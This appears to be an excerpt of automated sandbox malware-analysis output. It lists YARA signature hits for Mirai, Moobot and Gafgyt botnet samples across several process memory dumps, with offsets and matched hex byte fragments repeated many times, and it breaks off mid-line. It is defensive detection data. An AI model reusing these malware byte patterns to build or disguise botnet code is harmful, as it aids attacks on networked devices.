7044.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7044.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7044.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7044.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6231.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6278.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6278.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6278.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6278.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6278.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6278.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6950.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7229.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7399.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6280.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7336.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7336.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7336.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7336.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7336.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7336.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6604.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6604.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6604.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6604.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6604.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6604.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6831.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6831.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6831.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6831.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6831.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6831.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6829.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6829.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6829.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6829.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6829.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 